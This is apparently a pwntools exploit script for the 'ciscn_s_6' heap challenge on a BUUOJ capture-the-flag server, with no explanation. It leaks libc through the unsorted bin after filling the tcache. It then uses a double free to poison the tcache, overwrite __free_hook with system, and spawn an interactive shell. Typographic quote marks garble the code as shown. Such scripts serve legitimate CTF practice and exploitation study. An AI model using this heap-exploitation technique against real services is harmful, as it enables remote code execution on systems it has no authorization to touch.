from pwn import *

#p=process(‘./ciscn_s_6‘)
p=remote(‘node3.buuoj.cn‘,26462)
elf=ELF(‘./ciscn_s_6‘)
libc=ELF(‘./libc-2.27.so‘)
def add(size,name,call):
    p.recvuntil(‘choice:‘)
    p.sendline(‘1‘)
    p.recvuntil(‘name‘)
    p.sendline(str(size))
    p.recvuntil(‘name:‘)
    p.sendline(name)
    p.recvuntil(‘call:‘)
    p.sendline(call)

def show(idx):
    p.recvuntil(‘choice:‘)
    p.sendline(‘2‘)
    p.recvuntil(‘index:‘)
    p.sendline(str(idx))
    
def delete(idx):
    p.recvuntil(‘choice:‘)
    p.sendline(‘3‘)
    p.recvuntil(‘index:‘)
    p.sendline(str(idx))



add(0x88,‘pppp‘,‘pppp‘)
add(0x20,‘pppp‘,‘pppp‘)
add(0x20,‘pppp‘,‘pppp‘)
for i in range(7):
    delete(0)

delete(0)
show(0)
p.recvuntil(‘name‘)
unsorted_addr=u64(p.recvuntil(‘\x7f‘)[-6:].ljust(8,‘\x00‘))
print hex(unsorted_addr)
libc_base=unsorted_addr-0x3ebca0
free_addr=libc.symbols[‘__free_hook‘]+libc_base
system_addr = libc_base + libc.symbols[‘system‘]

print hex(free_addr)
#p.recvuntil()
delete(1)
delete(1)
delete(1)

add(0x20,p64(free_addr),‘pppp‘)
add(0x20,‘pppp‘,‘pppp‘)
add(0x20,p64(system_addr),‘pppp‘)
add(0x20,‘/bin/sh‘,‘pppp‘)

delete(6)
#gdb.attach(p)
p.interactive()